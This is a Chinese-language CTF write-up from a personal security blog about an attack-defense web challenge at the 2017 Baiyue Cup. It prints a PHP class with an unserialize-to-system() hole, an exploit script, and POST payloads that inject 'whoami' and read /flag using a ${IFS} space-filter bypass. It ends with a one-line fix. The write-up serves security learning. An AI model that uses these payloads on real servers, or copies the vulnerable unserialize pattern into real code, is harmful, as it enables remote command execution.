Chybeta

2017年百越杯AWD-web-writeup

再不更新博客就长草啦。
PHP反序列化漏洞。

前言

上周五参加福建省百越杯比赛,第二名。这篇小记一下线下赛的web题目,就当时找的漏洞做个简要的说明。由于一些配置不太清楚,所以现在复现起来可能不太准确,望见谅。原环境是linux下的,这里暂时win复现。

反序列化漏洞

先看一下web源码的目录大概如下

在common文件下,有一个home.php,其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

首先有一个home类,然后通过post接受参数a,并对其进行反序列化。仔细观察home类,里面有几个方法。

__construct析构方法进行初始化操作,指定$method和$args。

__destruct析构方法在对象销毁时调用,其中使用了call_user_func_array(),如果method中有ping,则会调用ping方法,其参数即为$args。

ping方法执行sysyem命令:system("ping -c 2 $host");,注意到$host参数,由前即home类实例的$args。

waf方法,将传入的字符串中的空格去掉。

__wakeup方法,在反序列化时会自动调用,其中实现的功能是将参数$args先经过mysql_escape_string(),然后去除两边空格(trim),调用waf方法去掉字符串中的空格。

看到这里,思路就很明确啦。构造反序列化字符串,先经过__wakeup的过滤,在执行结束后利用__destruct调用ping方法,利用其中的system执行任意命令。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
}
print_r("New a chybeta :)</br>");
$chybeta = new home("ping",array("1|whoami"));
print_r("</br>Get the serialize result:</br>");
$exp = serialize($chybeta);
print_r($exp);
print_r("</br></br>unserialize and pwn it</br>");
print_r("exec: system(\"whoami\")</br>The result: ");
serialize($exp);

直接复制打印出来的反序列化串去post参数给home.php,并不成功。原因是有一些不可见字符。对以上的exp进行小改动,将反序列话结果输出到文件中,再用十六进制编辑器打开。

1
file_put_contents("temp", $exp);


可以上发现有一些零字节需要补上,最后payload如下:

1
2
3
4
访问 common/home.php
POST:
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:8:"1|whoami";}}

接下来进一步利用,在比赛时,我们需要读取到放在根目录下的flag(/flag)。而waf方法过滤了空格,这额可以用linux下的特殊变量\$\{IFS\}来代替。所以如果要读取flag,修改exp.php,注意需要转义$

1
$chybeta = new home("ping",array("1|cat\${IFS}/flag"));

关于linux环境下的命令执行绕过waf的方法,不妨看看这个: WAF-Bypass
:命令注入

最后的payload即为:

1
2
3
4
访问 common/home.php
POST:
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:16:"1|cat${IFS}/flag

防御方法,直接将@unserialize($a);注释掉就行啦。

关于PHP反序列化漏洞,可以看看另一篇文章:chybeta: 浅谈php反序列化漏洞

最后

比赛攻击是用的就是这个洞,应该还有其他漏洞,后面再进一步补上吧。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:2017年百越杯AWD-web-writeup

文章作者:chybeta

发布时间:2017年10月28日 - 09:10

最后更新:2017年11月01日 - 07:11

原始链接:http://chybeta.github.io/2017/10/28/2017年百越杯AWD-web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。